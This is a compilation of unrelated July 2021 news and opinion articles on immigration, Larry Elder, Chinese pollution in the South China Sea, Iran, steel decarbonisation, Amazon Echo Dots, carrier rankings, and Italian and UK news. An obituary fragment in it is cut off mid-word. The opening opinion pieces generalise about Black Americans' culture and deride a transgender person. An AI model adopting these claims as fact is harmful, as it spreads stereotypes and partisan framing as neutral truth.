In 1791, Toussaint Louverture led an uprising that ended with Haiti gaining sovereignty  and the slaves their liberty  in 1804. Since then, it's been a country that's bounced from one corrupt leader to another. It is consistently one of the world's poorest countries.

However, those Haitians who come to America do well, as is true for other Caribbean and African immigrants to America. Having another influx of successful Caribbean immigrants would put the lie to the Democrat claim that native-born Blacks are incapable of achieving success because of America's long history and present practice of systemic racism. People may begin to suspect that their inability to thrive may not lie with skin color or racism; it may lie, instead, with the fact that too many American Blacks have embraced as their own the worst aspects of historic White Southern culture.

The truth behind Democrat immigrant policies is that they want malleable Latin Americans who will be cheap labor for rich people and the Chamber of Commerce and a pool of people likely to vote Democrat, whether they do so legally or not. Cubans and Haitians have no place in this plan.

Image: Alejandro warns Haitians and Cubans to stay away (edited in Pixlr). YouTube screen grab.

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Let me say up front that I'm biased: I think incredibly highly of Larry Elder. So when I heard that he was throwing his hat in the ring to become governor of my natal state (which I left some time ago), I was excited for him and for California.

Should any of you be unfamiliar with Mr. Elder's biography, here's a brief rundown: he's a native Angeleno, who grew up in and near Los Angeles's primarily Black South Central area. His father was a Georgia-born Marine sergeant during World War II who, after the war, left the South (as did so many other Blacks), heading for California. Initially, he worked as a janitor at a Nabisco factory, but he was eventually able to open a cafe.

Mr. Elder himself graduated with honors from a public high school and then attended Brown University (before it went completely bat-fecal-matter crazy with leftism). He graduated with a degree in political science and then got a law degree from the University of Michigan's prestigious law school. After practicing as a lawyer for almost two decades, Mr. Elder, who was deeply affected by reading Ayn Rand's The Fountainhead and Aldous Huxley's Brave New World, become a hugely popular TV and radio host, as well as a successful syndicated columnist and book author, and never again looked back at his legal career.

Because I came late to conservatism (finally crossing that Rubicon after 9/11) and didn't live in Los Angeles, I had never heard of Larry Elder. He first crossed my radar when I was flying home from a visit to Salt Lake City and needed something to read. At the airport bookstore, I saw a book entitled Stupid Black Men: How to Play the Race Card and Lose.

The title intrigued me because, by this time, I'd already read John McWhorter's Losing the Race: Self-Sabotage in Black America and understood that behaviors Black culture had adopted were sabotaging Blacks'  especially Black men's  ability to succeed. I stripped the cover from the book (no way was I, a White woman, going to walk around an airport carrying a book denigrating Black men). By the time I reached San Francisco Airport, I'd finished the book and become a Larry Elder fan. (Incidentally, I was not the only one who worried about that title. The book was later retitled What's Race Got To Do With It: Why It's Time to Stop the Stupidest Argument in America.)

Last year, I watched Mr. Elder's brilliant Uncle Tom, a documentary about how Democrats consistently denigrate conservative Blacks. Because the mainstream media almost aggressively ignored the movie, I was able to get an interview with Mr. Elder.

We talked about how he made the movie and his surprise that the mainstream seemed to go out of its way to ignore it. Having spoken with him for an hour, I can say unreservedly that he is incredibly personable, even charismatic, thoughtful, informed, principled, and intelligent. In other words, he's everything that California's pretty-boy governor, Gavin Newsom, is not.

Here you can see Mr. Elder giving his elevator speech to Sean Hannity and his audience (that is, his two-minute "vote for me" speech). The audience already like him. They just need to understand why he's running:

Larry Elder on why he decided to go up against Newsom in California gov race | https://t.co/Fwhgg69Ob1  Bookwormroom (@Bookwormroom) July 14, 2021

What I also like about Mr. Elder's candidacy, separate from his obvious qualifications, is that he provides an alternative to Bruce, AKA Caitlyn, Jenner, who is ostensibly running as a Republican. The fact is, though, that Jenner is not a conservative. He's someone who wants lower taxes. Otherwise, as Matt Walsh says in the video below, his entire being is about his very sad gender confusion. (And I do mean sad. Once one of the world's greatest athletes, Jenner is now a weird exhibitionist who hated his own body.)

It would be amazing if Larry Elder were to become the governor of California. You can help support him by donating here.

Image: Larry Elder by KABC. Public domain.

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Communist countries are renowned for their pollution, but China is taking it to a new level.

Here's their latest, which comes of their expansion into the South China Sea, according to WION of India:

Swarms of Chinese vessels have dumped human waste and wastewater for years in a disputed area of the South China Sea, causing algae blooms that have damaged coral reefs and threatened fish in an unfolding catastrophe, a US-based expert said Monday. Satellite images over the last five years show how human waste, sewage and wastewater have accumulated and caused algae in a cluster of reefs in the Spratlys region where hundreds of Chinese fishing ships have anchored in batches, said Liz Derr, who heads Simularity Inc, a software company creating artificial intelligence technologies for satellite imagery analysis.

This is disgusting. How'd you like to be a little sea creature and get that rained down? What does a coral reef look like after the ChiComs have dropped their dumps onto them? What's more, it's not just the open sea seeing this; it's pollution affecting nations in the region. The Philippines, which is known for its pristine beaches, has reportedly ordered its military to investigate.

The important point here is that China doesn't belong there. According to Reuters:

China maintains a constant presence of coastguard and fishing boats in the South China Sea to assert its claim of sovereignty, including hundreds in the Spratly islands, where the Philippines, Brunei, Taiwan, Vietnam and Malaysia also have claims. Simularity, an AI-based satellite image analysis firm, on Monday released public satellite images over a five-year period that it said showed damage caused by untreated human waste from Chinese vessels.

It hangs out in this region to intimidate its neighbors and assert dominance. It certainly doesn't belong there, and all its territorial claims are fake.

Its particular aim is not just to beat up Vietnam, the Philippines, and Taiwan, but to chase out the Great White Fleet of the U.S. Navy, which, at least until China started muscling in, kept the sea lanes open and enabled the smaller Asian nations of Southeast Asia to develop and grow prosperous. China's presence already is a baleful one in the region of the South China Sea. It's built illegal atolls. It's had its fishing ships spy on other nations. It's attacked boats of Vietnam and the Philippines in the past, and certainly caused trouble for the U.S. Navy.

Now we learn it's brought its communist environmental practices to what had otherwise been a pristine region, turning it into a personal toilet.

Out on Twitter, this Twitter user, who appears knowledgeable, brought up that it's a violation of China's own signed treaties:

This is covered by another Convention that China is party to - MARPOL of 1973. I need to check status, but as far as I remember they ratified Annex IV - Prevention of Pollution by Sewage from Ships.  Karen S. Shih (@karensshih) July 12, 2021

Are these sea thugs who don't belong there going to be made to clean this up? Where are the Sea Shepherds? Where is Greenpeace? Given the damage, it seems like a project that could keep the environmentalist groups legitimately busy. But we don't hear much, at least not now. Somehow, nobody wants to challenge the Chicoms, quite possibly based on all the money they give to NGOs. At least Joe Biden could speak up, yet thus far, he doesn't. He's too busy yoking the U.S. to the Paris climate deal instead of stopping 100% legitimate cases of bona fide pollution of the grossest sort from China.

When is China going to be called to the carpet for this disgusting practice now hitting many Asian neighbors? The Chinese record on pollution should be an object of universal scorn and shame. China demands that the U.S. adhere to the Paris accord. while it sits on its hands as a "developing nation." But with this stuff going on, with very real damage to the environment before our eyes, its hypocrisy is blatant.

For the left, if China does it, it can't be a problem.

Image: Twitter screen shot.

To comment, you can find the MeWe post for this article here.
The signs are clear that the United States Navy is in crisis. A series of ship disasters, including the scrapping of a three-quarter-billion-dollar carrier, The Bonhomme Richard, after a fire, and the fatal seaborne collision of the guided-missile destroyer Fitzgerald that killed seven sailors, have revealed problems with training and readiness.

China, which now has more ships in its navy than we do, is boasting of having "chased" a U.S. warship out of disputed waters. The AP reports:

China's military said it chased a U.S. warship out of a disputed area of the South China Sea on Monday after Washington warned an attack on the Philippines might activate a mutual defense treaty. Beijing affirmed its claims to portions of the sea that also are claimed by Southeast Asia governments. It rejected the Biden administration's declaration of support Sunday for an international tribunal ruling in favor of the Philippines that threw out most of them. China is increasingly assertive about pressing its territorial claims, which are fueling tension with neighbors including Japan, India, Vietnam and the Philippines. The People's Liberation Army said it sent ships and planes after the U.S.S. Benfold entered waters claimed by Beijing around the Paracel Islands. Chinese forces "warned them and drove them away," the military said on its social media account.

The Chinese are not necessarily reliable, but the mere fact that they make this boast, combined with China's aggressive build-up in the sea lanes controlling a huge share of the world's trade, is worrisome enough. Now a new report from two retired senior flag officers, one from the Navy and one from the Marines, is a definite cause for worry and ought to spark congressional hearings and serious reforms.

The U.K. Daily Mail summarizes in its trademark bullet point fashion:

Members of Congress commissioned the report on issues in the surface Navy

Came in response to fire on ship in San Diego and two ship collisions in Pacific

Retired Marine general and Navy admiral spoke with current and former officers

They identified a number of disturbing trends in Navy leadership and training

Many officers said that diversity training took precedence over warfighting

They claimed combat readiness had become a 'box-checking' exercise

Japan's number-two defense leader has already warned us that we risk a second Pearl Harbor. I suspect that China's navy and other military branches focus on winning wars and pay no attention at all to diversity.

To comment, you can find the MeWe post for this article here.
The regime in Iran, under the supreme leader, has ruled as a theocratic government for 40 years. During that time, the Iranian people have watched their middle class disappear, natural resources exploited, and their economy become chaotic. How did it all happen?

Over the years, the regime's domestic and foreign policies have wrought havoc on its people, yet they continue to blame countries outside Iran for their problems. Meanwhile, the domestic economy continues to decline, corruption is on the rise, and poverty is increasing.

Every industry and class has protested the regime's decisions, from farmers to professionals. Complaints about wages not being paid, unsafe working conditions, and more have fueled these protests. There is a risk of prison time, torture, and other human rights abuses by the regime and its security forces for those who participate in the protests.

Yet, despite these risks, protests and uprisings continue to grow in frequency and intensity. In 2017, 2018, and 2019, uprisings threatened the authority of the regime. Oppression against their people was the only way to maintain their power, but it has cost some Iranians their lives. Those who spoke out suffered, such as the mass execution in 1988 of 30,000 political prisoners. Leaving Iran did not guarantee safety, as assassinations have been routinely carried out using their vast network of embassies and diplomats to access those speaking out against the regime and living in other countries around the globe.

Like anyone in an abusive relationship, there is a point when the Iranian people will take no more. They are fast reaching that point. "Iranian society is a powder keg on the verge of explosion," said National Council of Resistance of Iran (NCRI) president-elect Maryam Rajavi during an email interview with the Washington Times. "More ferocious and extensive uprisings are waiting to erupt at a moment's notice."

The dissident movement that has been in place for decades has played a vital role in the anti-regime protests throughout Iran in recent years. "The organized resistance movement is gaining ground and momentum is building through a rapid expansion and rise in the activities of resistance units inside Iran," said Rajavi.

There is evidence of a seismic shift happening within Iran. Support for the regime continues to fall as fast as the Iranian currency, as the people confront the realities of decades of corruption and oppression. The international community is also showing support for the Iranian people by their attendance at the Free Iran World Summit 2021. It was held virtually over three days and included leaders and activists from around the world. Governments and international institutions were invited to the event, thus standing with the Iranian people and showing support.

One of the biggest issues on the table for the Iranian people is the election of Ebrahim Raisi as the next Iranian president. He was approved by Supreme Leader Khamenei and had the support of various factions within the regime. Yet, among the Iranian people, he is known as the Henchman of 1988, for his participation in that mass execution.



July 10, 2021 demonstration in Berlin against Raisi and the regime.

YouTube screen grab.

"No other outcome could more accurately display the regime's sheer political desperation and impending overthrow. The religious dictatorship has emerged weaker and more fragile out of its presidential elections. Raisi's emergence shows that as the regime's death throes begin, Khamenei cannot trust even some of his closest apparatchiks and instead needs to put someone in place who has been completely and unconditionally immersed in the brutal massacre of dissidents," said Rajavi, before calling for Raisi to face justice from an international tribunal for his participation in the 1988 massacre, a true crime against humanity.

Within Europe, a shift is occurring against the regime and its diplomats, as the recent trial and sentencing of an Iranian diplomat for his terrorist activities demonstrated. Even after the JCPOA came into effect in 2015, the regime continued its secret activities to develop nuclear weapons. Using concessions in an attempt to bring the regime in line only resulted in more destructive activities throughout the Middle East.

"Any negotiation or cooperation with this regime would simply serve the suppression and murder of the Iranian people and facilitate the regime's attempts to develop nuclear weapons and set the region on fire," said Rajavi.

This year's election of Raisi was boycotted by many Iranians, who saw it as an attempt to speak out against a regime that is interested not in reform, but only in retaining power. The official turnout from the regime's reporting indicates less than a 50% turnout. There have been at least four rounds of massive nationwide uprisings, thousands of ongoing protests, acts of defiance, and strikes throughout the country.

The regime under Khamenei is unable to offer any solutions to the crises facing the Iranian people from the pandemic, as well as the social and economic issues. Even those working in oil and gas are protesting lack of pay and working conditions. Only those attached to the regime are benefiting financially, but if it appears they are no longer loyal to Khamenei, then they are at risk of losing their position within the government.

Organization efforts are helping to fuel the rapid expansion of resistance units throughout the country. With the resistance achieving growing solidarity with the elected representatives throughout Europe and the United States, it is clear that a seismic change is in the air.

To comment, you can find the MeWe post for this article here.
Automotive producers are likely to be the first downstream sector to shift toward using green steel, Ravi Singh, chief executive officer of Saudi Arabian steel producer Sulb Co, told delegates at the Singapore Steel Forum 2021 on Wednesday July 14.

Car producers have consistently been the main innovators among the main manufacturers using steel products, he said.



Major automotive producers, such as Mercedes, have vowed to be carbon neutral by... 2037-50," Singh said during an international panel discussion focusing on the opportunities and challenges for the global steel industry. "You will not be able to find any automotive producers that do not use green steel.



Mercedes, for instance, announced in late May that it was retooling its supply chain to focus on the prevention and reduction of carbon dioxide emissions by taking an equity stake in Swedish start-up H2 Green Steel (H2GS).



H2GS will use hydrogen and electricity from 100% renewable energy sources instead of coking coal, with the hydrogen binding the oxygen from the iron ore during the steelmaking process to produce water as a byproduct rather than carbon dioxide.



But Singh also made the point that steel makes up a relatively small proportion of the total cost of producing a vehicle, especially in electric vehicles, where the drive components are typically more costly than in traditional internal-combustion engine vehicles.



This is why the ability of automotive producers to absorb the increase in steel prices is not difficult, he said.



In contrast, he said the construction sector will lag slightly in taking up green steel, especially for cement-based construction, so governments should also look at decarbonization in sand mining and cement production.



Key role for scrap

Ferrous scrap will also have a major role to play, Singh said, because there was an increasing awareness among steelmakers globally about decarbonization.



This was especially true in China and India, he said, where the primary production route is still based on blast furnaces - unlike in the United States and Europe, which are more scrap-based.



There is a major shift happening globally [and] the future of the steel industry will be driven by decarbonization, especially as the steel industry has increased its share of the production of greenhouse gases to 9% from 7.5%, Singh said.



About 750 million tonnes of scrap is generated globally every year. This is expected to reach 1 billion tonnes by 2030 and 1.3 billion tonnes by 2050, which will [feed] a substantial amount of [steel] production, he said.



Singh also noted that legislation will be a key factor when it comes to curtailing the production of greenhouse gases.



And he highlighted the fact that difficulties in decarbonizing steel production via the blast furnace or direct-reduced iron (DRI) routes will see scrap become the go-to material for decarbonization



There will be a huge appetite for scrap, he said.



But he acknowledged that a shift toward hydrogen-based DRI production for steelmaking will also result in a huge increase in costs.



The cost of producing the DRI will probably jump to $300-400 per tonne, which will have an impact on overall steelmaking. So unless there is a conscious decision by governments to increase overall carbon taxation so that there is headroom to absorb the cost increases, we will all be playing a bit of a waiting game, Singh said.




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Yash in talks for a Telugu film?:- Kannada actor Yash is now a pan-Indian star and it is all because of KGF: Chapter 1. One film changed his career and the actor is done with the shoot of KGF: Chapter 2 that will release soon. The actor is rushed with several offers from Tollywood and Bollywood. He signed a Kannada film after KGF: Chapter 2 and the film will head for a pan-Indian release next year. If the latest speculations are to be believed, Yash is in talks for a straight Telugu film very soon. As per the update, Tollywood director Boyapati Srinu is in talks for a straight Telugu film with Yash.

Boyapati Srinu is done with the script and he will narrate it to Yash very soon. The project will happen next year if Yash gets impressed with the script of Boyapati Srinu. Dil Raju will produce this pan-Indian film on Sri Venkateswara Creations banner. The movie is said to be an out and out mass entertainer. Yash will complete a Kannada film in this while. Boyapati Srinu is directing Nandamuri Balakrishna in his next film which is a mass entertainer titled Akhanda. The film will hit the screens in September. Boyapati is also in talks with Tamil actor Suriya for a movie and the project rolls once Suriya is done with his current projects.
Tampa - Ursula Therese Tomlinson, known to her friends as "Terry", passed away on June 26, 2021 after a short illness, at the age of 82, surrounded by her loved ones in Tampa, Fla. She was born in Germany on October 10, 1938 and was raised in Germany and Austria. In 1959 she moved to the Uni
Amazon has teamed up with fashion designer and philanthropist Diane von Furstenberg for some brand new Echo Dot concepts as part of its Build It program. In fact, those concepts are already available for pre-order, starting today.

Each of the new devices is, technically, just a re-colored Echo Dot smart speaker. But they are much more stylish than the current iterations of that device. The first of the three new designs is called Midnight Kiss and features a sleek black coloration, accented by lips. Those are shown in a variety of shapes and sizes, in different shades.

The second device design is referred to as Ikat and, as that branding might suggest, this one has a more feline-based inspiration. In fact, it comes in an almost reverse-snow leopard coloration, with a black base hue topped by circular white swirls to accent.

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Finally, the new Echo Dot x Diane von Furstenberg is also available in Twigs. But the branding here is a bit less direct. The pattern resembles something similar to an orange and purple tiger-striping. But with those stripes being less tiger-like than a first glance might suggest. Instead, the striking pattern is closer to a purple sky with orange branches extending through it.

What is Amazon Build It and what does that mean for these Echo Dot concepts

Now, Amazon Build It is part of the companys Day 1 Editions program.

Summarily, the program puts up concept devices and products that Amazon thinks customers would want to buy. Typically, those are collaborative efforts but they havent always been. On the Amazon store page for the products, a progress bar is shown with a percentage. And, if that progress bar gets filled, Amazon then builds and ships the products.

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The program has previously been the launching ground for a number of projects. From clocks to sticky note printers. For this iteration of the Build It program, Amazon is focused on a new design for its Echo Dot smart speaker in collaboration with Diane von Furstenberg. And, in conjunction with that, the company is offering a promotional price as well as donating to Vital Voices. With the latter being a non-profit focused on investing in women leaders, as chosen by Dian von Ferstenberg.

The company will also be hosting  via Amazon Live  a discussion with Diane von Ferstenberg and fashion model Sophie Sumner today in celebration of the collaboration.

Pricing and availability

As noted above, these Amazon Echo Dot x Diane von Furtenberg concepts are already up fo pre-order as part of that program starting today. But, of course, they wont ever be built if nobody shows any interest. And, to that end, Amazon is starting out with a reasonable asking price of just $59.99.

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If one or more of the new designs reaches its un-revealed goal in the next 30-days, the company will start the builds. Customers wont be charged unless the goal is met. And, of course, when the product ships.

Amazon Echo Dot x Diane von Ferstenberg - Midnight Kiss

Echo Dot x Diane von Ferstenberg - Ikat

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Echo Dot x Diane von Ferstenberg - Twigs
The three American signal carriers are still battling for market supremacy. Each company has its own strengths that it brings to the table. Now, thanks to a new announcement from the company, we know that Verizons network performance is at the top of the pack.

Verizons network performance was rated by RootMetrics

Its tough naming an objective winner in the carrier space. There are different factors that need to be considered when deciding which company is the best. Theres network speed, reliability, coverage, the prices it charges, features, and so on.

Verizon came out to say that it scored a win in the network performance and reliability department. Based on the latest RootMetrics report, Verizon took home the most amount of awards. All of this pertains to the first half of 2021.

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When it comes to metropolitan areas, Verizon won 783 awards with AT&T in second place at 586 awards and T-Mobile in last with 235. These are large areas that are extremely cluttered with people. Performance is perhaps the most important in these areas.

As for reliability, accessibility, and calling, Verizon was able to beat out the other two companies. On a scale of 1  100, Verizon scored a 96.5 in reliability, a 94.8 in accessibility, and a 94.5 for calling. AT&T scored 95.9, 93.6, and 93.2, respectively. T-Mobile scored 90.9, 90.6, and 85.5, respectively.

Factoring in reliability, accessibility, speed, texting, calling, and data, each company is awarded an overall score from 1  100. Verizon won with a score of 96. AT&T and T-Mobile walked away with 95.6 and 90.3, respectively. This marks the 16th time in a row that Verizons network performance won the award for overall best performance and reliability.

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This doesnt mean that the other companies didnt bring home any wins

While Verizon won the best overall, AT&T and T-Mobile are no slouches. When it comes to average data speeds across the states, AT&T takes home the gold. T-Mobile brings up the rear with an average of 30.3Mbps with Verizon in 2nd place at 34.4Mbps. AT&T towers over them with 40.9Mbps.

While T-Mobile is in last place in many of the categories, it makes up for it with coverage. T-Mobile covers more than 90% of the US interstate miles. AT&T covers about 68% and Verizon covers about 51%.

Also, T-Mobile has the highest 5G availability in a single city compared to the others. 98.6% of Wichita, Kansas is covered with T-Mobiles 5G. AT&Ts highest availability is in Columbus, Ohio with 97.6%. Verizons highest is in Salt Lake City, Utah with 89.5%.

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All in all, when it comes to choosing the carrier for you, its best to take into account the different factors that affect the user experience. There are certain advantages and drawbacks that you will have to deal with.
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Gov. Kay Ivey emphasized Wednesday on a visit to Birmingham that theres no need for an incentive plan to increase vaccination rates in Alabama, even though the state has dropped to the bottom in percentage of the population vaccinated.
(ANSA) - ROME, JUL 14 - The NGO for which Patrick Zaki worked said Wednesday a court has extended by another 45 days the pre-trial custody of the Egyptian student of the University of Bologna, who has been held in Cairo on sedition charges since February last year.

Lobna Darwish of the Egyptian Initiative for Personal Rights (EIPR) told ANSA the outcome of Monday's judicial hearing.

A week ago the Lower House of the Italian parliament voted almost unanimously to urge the government to grant Zaki Italian citizenship in a bid to pressure Egypt to release him.

The Senate had already made a similar call.

The motion, which saw the abstention of the nationalist opposition Brothers of Italy (FdI) party, commits the government to "promptly initiate, via the competent institutions, the necessary assessments in order to confer Italian citizenship on Patrick George Zaki".

It also urged the government to keep monitoring Zaki's case and his conditions of detention.

The government subsequently issued a favourable opinion on the motion.

Zaki marked his 30th birthday in detention in Cairo on June 16, spurring renewed calls from Italy for his release.

The Egyptian Bologna University postgraduate student has been held in Egypt since February 7 last year on charges of "disseminating false news" and "incitement to protest".

Zaki, a 29-year-old Coptic Christian, is pursuing an Erasmus Mundus Master's Degree in Women and Gender Studies at the University of Bologna.

He also conducts research and advocacy on gender issues and human rights for the Egyptian Initiative for Personal Rights (EIPR), a human rights organization based in Cairo.

Petitions for his release have been rejected on countless occasion.

Zaki was arrested on arriving at Cairo International Airport when he returned home from Bologna for a short family visit.

The Egyptian National Security Agency reportedly arrested Zaki, interrogated him about his time in Italy and his human rights work, and took him to an undisclosed location.

During interrogation, he was allegedly frequently threatened, beaten on his stomach and back and tortured with electric shocks.

The European Parliament, Amnesty International and Scholars At Risk have been among the bodies calling for his release, along with the Italian government. (ANSA).


(ANSA) - GENOA, JUL 13 - Italian customs police on Tuesday seized 10,000 unsafe Chinese-made COVID face masks at the port of La Spezia near Genoa, local sources said.

The mask did not comply with safety regulations, police said.

(ANSA).


ROME - The NGO for which Patrick Zaki worked said Wednesday a court has extended by another 45 days the pre-trial custody of the Egyptian student of the University of Bologna, who has been held in Cairo on sedition charges since February last year.



Lobna Darwish of the Egyptian Initiative for Personal Rights (EIPR) told ANSA the outcome of Monday's judicial hearing. A week ago the Lower House of the Italian parliament voted almost unanimously to urge the government to grant Zaki Italian citizenship in a bid to pressure Egypt to release him. The Senate had already made a similar call.



The motion, which saw the abstention of the nationalist opposition Brothers of Italy (FdI) party, commits the government to "promptly initiate, via the competent institutions, the necessary assessments in order to confer Italian citizenship on Patrick George Zaki".



It also urged the government to keep monitoring Zaki's case and his conditions of detention.



The government subsequently issued a favourable opinion on the motion.



Zaki marked his 30th birthday in detention in Cairo on June 16, spurring renewed calls from Italy for his release.



The Egyptian Bologna University postgraduate student has been held in Egypt since February 7 last year on charges of "disseminating false news" and "incitement to protest".



Zaki, a 29-year-old Coptic Christian, is pursuing an Erasmus Mundus Master's Degree in Women and Gender Studies at the University of Bologna.



He also conducts research and advocacy on gender issues and human rights for the Egyptian Initiative for Personal Rights (EIPR), a human rights organization based in Cairo.



Petitions for his release have been rejected on countless occasion.



Zaki was arrested on arriving at Cairo International Airport when he returned home from Bologna for a short family visit.



The Egyptian National Security Agency reportedly arrested Zaki, interrogated him about his time in Italy and his human rights work, and took him to an undisclosed location.



During interrogation, he was allegedly frequently threatened, beaten on his stomach and back and tortured with electric shocks.



The European Parliament, Amnesty International and Scholars At Risk have been among the bodies calling for his release, along with the Italian government.


TURIN - The Film Museum at Turin's Mole Antonelliana will host events, celebrations and cultural programs of the main foreign communities in the city thanks to the convention 'Culture alla Mole' signed on Wednesday in City Hall by the director of the museum, Domenico De Gaetano, and the councilor of rights, Marco Giusta.



"The idea on which the project is based - explained De Gaetano - is to open the Mole to all citizens, including to foreigners and those who in many cases don't know it, to use cinema, with its universal language, to make cultures meet and tear down any type of barrier". "It is a project that valorizes diversity and enriches the urban context - added Giusta - that goes in the sense of a multicultural city and that promotes creative initiatives as everybody's heritage". Four events have already been scheduled and funded for the fall. The first in September, with the screening of the documentary 'Sigo Siendo' at Cinema Massimo, preceded by the illumination of the Mole on July 28-29 with the colors of the Peruvian flag, in collaboration with the Peruvian consulate and for the bicentenary of Peru. They will be followed in October by the screening of the film 'Il vegetariano' in collaboration with the Italian Hindu Union, in November by the screening of a film chosen by the Goethe-Institut Turin to commemorate the fall of the Berlin wall and, finally, in December, a major event to celebrate Romanian national day in cooperation with Farmp. The Federation of Romanian and Moldavian associations of Piedmont.



"Many projects are ongoing - concluded De Gaetano - first of all with the Russians".
Cultures at Mole - foreign communities star at film museum Convention with city of Turin, four events scheduled

(ANSAmed) - TURIN, JUL 14 - The Film Museum at Turin's Mole Antonelliana will host events, celebrations and cultural programs of the main foreign communities in the city thanks to the convention 'Culture alla Mole' signed on Wednesday in City Hall by the director of the museum, Domenico De Gaetano, and the councilor of rights, Marco Giusta.



"The idea on which the project is based - explained De Gaetano - is to open the Mole to all citizens, including to foreigners and those who in many cases don't know it, to use cinema, with its universal language, to make cultures meet and tear down any type of barrier". "It is a project that valorizes diversity and enriches the urban context - added Giusta - that goes in the sense of a multicultural city and that promotes creative initiatives as everybody's heritage". Four events have already been scheduled and funded for the fall. The first in September, with the screening of the documentary 'Sigo Siendo' at Cinema Massimo, preceded by the illumination of the Mole on July 28-29 with the colors of the Peruvian flag, in collaboration with the Peruvian consulate and for the bicentenary of Peru. They will be followed in October by the screening of the film 'Il vegetariano' in collaboration with the Italian Hindu Union, in November by the screening of a film chosen by the Goethe-Institut Turin to commemorate the fall of the Berlin wall and, finally, in December, a major event to celebrate Romanian national day in cooperation with Farmp. The Federation of Romanian and Moldavian associations of Piedmont.



"Many projects are ongoing - concluded De Gaetano - first of all with the Russians". (ANSAmed).




Migrants: Bosnia, 200 transferred from run-down facility To new renovated center of Lipa

(ANSAmed) - SARAJEVO, JUL 14 - Over 200 migrants in northwestern Bosnia-Herzegovina, who were living in inhumane conditions in the run-down former factory of Krajina Metal near Bihac, were transferred on Wednesday to the nearby hosting center of Lipa, local media reported. The media said refugees, mostly coming from Afghanistan and Pakistan, included many minors.



Lipa was at the center of reports last winter with hundreds of migrants protested by setting the facility on fire, remaining without shelter in a condition of extreme difficulty in the cold and snow. After protests made by the EU and international humanitarian organizations, Bosnian authorities intervened setting up tent camps to give refugees shelter. Subsequently, the center of Lipa was entirely renovated and it can now host a few hundred refugees in dignified conditions. (ANSAmed).






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Relatives of victims of the Birmingham pub bombings have described Government plans to introduce legislation to end all prosecutions related to the Troubles before 1998 as obscene.

The move is expected to be outlined by Secretary of State Brandon Lewis in the House of Commons, with a Government source saying it is necessary to stop Northern Ireland being hamstrung by its past.

Julie Hambleton, whose older sister Maxine was among 21 people killed in the 1974 blasts in Birmingham, has written to Prime Minister Boris Johnson on behalf of the Justice 4 The 21 campaign group to decry the planned legislation.

Tell me Prime Minister, if one of your loved ones was blown up beyond recognition, where you were only able to identify your son or daughter by their fingernails because their face had been burned so severely from the blast and little of their remains were left intact, would you be so quick to agree to such obscene legislation being implemented? Ms Hambleton asked.

You would do everything in your power to find the murderers and bring them to justice, which is exactly what we campaign for every day.

The group queried the legislations effectiveness at preventing potential acts of violence.

How is this considered to be a deterrent for any future terrorist organisations? Ms Hambleton said.

What your government is proposing is that no matter what city terrorists decide to wreak death and destruction upon, do not worry because the British Government will let you walk away free without any fear of retribution of prosecution.

Shadow secretary of state for Northern Ireland Louise Haigh said the Government had vowed to properly investigate the bombings.

To tear up that pledge would be insulting, and to do so without the faintest hint of consultation with those who lost loved ones would be staggeringly insensitive, the Labour MP said.

The Prime Minister should look victims families in the eye, and explain why he wants to close the book on their cases, and why they have been the last to be told about these proposals.

Two bombs planted in the Mulberry Bush and Tavern in the Town pubs exploded on November 21 1974, killing 21 and injuring up to 220 more.

A flawed investigation by West Midlands Police into the 1974 bombings led to the wrongful convictions of the Birmingham Six.

Nobody has been brought to justice for the blasts despite years of campaigning led by Justice 4 The 21.

Aftermath of the fatal bomb attack on the Mulberry Bush pub (PA)

In 2019, an inquest found a botched IRA warning was responsible for the victims unlawful killings.

However, the coronial process was described as unsatisfactory by some of the bereaved, for not prompting criminal charges against any of the perpetrators.

In November 2020, a 65-year-old man was arrested in Belfast in connection with the bombings by officers from West Midlands Police assisted by the Police Service of Northern Ireland.

He was later released and the police investigation continues.

In March, Justice 4 The 21 called on Home Secretary Priti Patel to give a firm commitment within weeks on holding a public inquiry into their loved ones deaths.
Boris Johnson is in danger of sleepwalking into the break-up of the United Kingdom, Welsh First Minister Mark Drakeford has warned,

Mr Drakeford said the Prime Ministers instinctive hostility to the devolution settlement was fuelling support for independence in Wales.

Giving evidence to the House of Lords Constitution Committee, he said the Welsh Government was a rather vanishing creature in that it still believed in the UK.

The state of the Union is under the greatest pressure it has ever been in my political lifetime, he said.

In the current UK Government we face for the first time in the history of devolution a Government that is instinctively hostile to devolution.

The Prime Minister told Conservative backbenchers that devolution was the greatest mistake of the Blair government.

The actions of his administration bear the hallmark of that. The confrontational approach, the approach of muscular Unionism, aggressively unilateral in the way it goes about things.

We are sleepwalking, if we are not careful, into the end of the Union as we know it.

Mr Drakeford said the actions of the Government were making it increasingly difficult for him to make the case for the Union in Wales.

Every single day they create new tensions between us and go on persuading a growing sector of opinion in Wales that Wales will be better off outside the Union, he said.

We have example after example of where powers are devolved to Wales and where the approach of the UK Government is to cut in, spend money themselves in those devolved areas, undercutting devolution.

It stokes political tensions and gives ammunition to those people who have come to the conclusion that the Union is over and we would be better off outside it.

It is a matter of huge regret to me that I have to roll the stone even further up the hill because the UK actively undermines the case for the Union rather than strengthens it.
A fifth teenager has been charged with the murder of a 15-year-old boy who was stabbed to death in south-east London.

Daryl Bethel, 19, from Gravesend, Kent, was charged with the murder of Tamim Ian Habimana on Tuesday and is due to appear at Bromley Magistrates Court on Wednesday.

He is accused of the attempted murder of a second 15-year-old and possession of an offensive weapon in a public place.

A police cordon at the scene in Woolwich New Road, south-east London (Danielle Desouza/PA)

Four other suspects  one aged 14, two aged 15 and one aged 17  have already been charged with murder and attempted murder.

The three younger boys are also accused of possession of an offensive weapon.

Tamim died from a single stab wound near Woolwich Arsenal station shortly before 5.30pm on Monday July 5.

Police officers and ambulance staff tried to save his life but he was pronounced dead at the scene just before 6.10pm.

The second 15-year-old took himself to hospital a short time later. His stab wound was not life-threatening.
FILE - This combination of file photos shows actor-comedian Sacha Baron Cohen at the Vanity Fair Oscar Party in Beverly Hills, Calif. on March 4, 2018, left, and former Alabama Chief Justice and then U.S. Senate candidate Roy Moore at a news conference in Birmingham, Ala., on Nov. 16, 2017. A federal judge on Tuesday, July 3, 2021, dismissed failed U.S. Senate candidate Roy Moores $95 million lawsuit targeting comedian Sacha Baron Cohen filed after Moore complained he was tricked into an interview that lampooned sexual misconduct accusations against him. (AP Photo/File)

Sacha Baron Cohen has won a legal victory over a US politician who sued him after being tricked into appearing in a TV sketch involving a so-called paedophile detector.

A judge dismissed Roy Moores 95 million dollar (68.9 million) lawsuit against the British comedian and actor over a segment on the 2018 satirical series Who Is America?

Moore, a 74-year-old failed US Senate candidate and former senior judge from Alabama, had been accused of sexual misconduct when he appeared on the show under the pretence of accepting an award for his support for Israel.

